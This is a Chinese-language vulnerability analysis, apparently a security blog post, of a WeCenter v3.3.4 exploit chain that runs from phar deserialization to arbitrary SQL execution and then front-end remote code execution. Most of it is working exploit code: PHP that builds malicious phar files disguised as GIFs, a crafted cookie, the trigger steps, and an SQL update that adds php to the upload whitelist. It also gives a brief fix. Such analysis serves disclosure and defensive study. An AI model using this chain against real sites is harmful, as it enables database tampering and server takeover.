某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE
字数 1316 2025-08-26 22:11:51
WeCenter v3.3.4 反序列化漏洞分析与利用教学
漏洞概述
WeCenter v3.3.4 存在一个从前台反序列化到任意SQL语句执行,最终可导致前台RCE的漏洞链。该漏洞利用条件较为宽松,默认安装环境下即可利用。
漏洞影响
- 影响版本:WeCenter v3.3.4
- 利用条件:
- 开启注册功能或拥有前台账号
- 前台账号拥有上传文件权限
- 默认安装环境下这两个条件均为开启状态
漏洞分析
1. 反序列化漏洞点
漏洞位于 ./system/aws_model.inc.php 文件中的 AWS_MODEL 类:
class AWS_MODEL {
private $_shutdown_query = array();
public function __destruct() {
$this->master();
foreach ($this->_shutdown_query AS $key => $query) {
$this->query($query);
}
}
public function query($sql, $limit = null, $offset = null, $where = null) {
// 直接执行SQL语句,无过滤
$result = $this->db()->query($sql);
return $result;
}
}
关键点:
__destruct()析构函数会遍历$_shutdown_query数组并执行其中的SQL语句query()方法直接执行SQL语句,无任何过滤$_shutdown_query是私有变量,可通过反序列化控制
2. 反序列化触发点
由于直接搜索 unserialize() 未找到可控点,转而利用Phar反序列化技术:
- 寻找文件操作函数可控参数的点
- 最终定位到
models/account.php中的associate_remote_avatar()函数:
public function associate_remote_avatar($uid, $headimgurl) {
if (!$avatar_stream = file_get_contents($headimgurl)) {
return false;
}
// ...
}
- 调用链:
app/account/ajax.php中的synch_img_action()调用associate_remote_avatar()models/openid/weixin/weixin.php中的bind_account()控制headimgurl字段app/m/weixin.php中的binding_action()通过Cookie控制bind_account()的参数
漏洞利用
1. 任意SQL执行
步骤1:构造恶意Phar文件
<?php
class AWS_MODEL {
private $_shutdown_query = array();
public function __construct() {
$this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)';
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "123");
$phar->stopBuffering();
rename("2.phar", "shell.gif");
步骤2:上传Phar文件
通过编辑器上传功能上传生成的 shell.gif 文件,记录上传路径。
步骤3:构造恶意Cookie
<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'naiquan';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
echo json_encode($arr);
将生成的JSON字符串作为 _WXConnect Cookie的值设置。
步骤4:触发漏洞
- 访问
app/m/weixin.php/binding_action - 访问
app/account/ajax.php/synch_img_action
2. 升级为RCE
通过修改上传文件后缀白名单实现RCE:
构造修改白名单的Phar文件
<?php
class AWS_MODEL {
private $_shutdown_query = array();
public function __construct() {
$file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
$this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "123");
$phar->stopBuffering();
rename("2.phar", "shell.gif");
利用流程
- 上传上述Phar文件
- 按照SQL注入的步骤触发反序列化
- 在后台查看确认php后缀已添加
- 在前台编辑器中上传php文件实现RCE
漏洞修复
删除 app/account/ajax.php 下名为 synch_img 的action即可修复漏洞。
总结
该漏洞利用链较为复杂,涉及:
- 反序列化漏洞点(AWS_MODEL类)
- Phar反序列化触发点(文件操作函数)
- 调用链分析(从Cookie到SQL执行)
- 权限提升(从SQL注入到RCE)
利用时需要注意:
- 构造Phar文件时的格式要求
- Cookie的构造和设置
- 触发顺序(先binding_action后synch_img_action)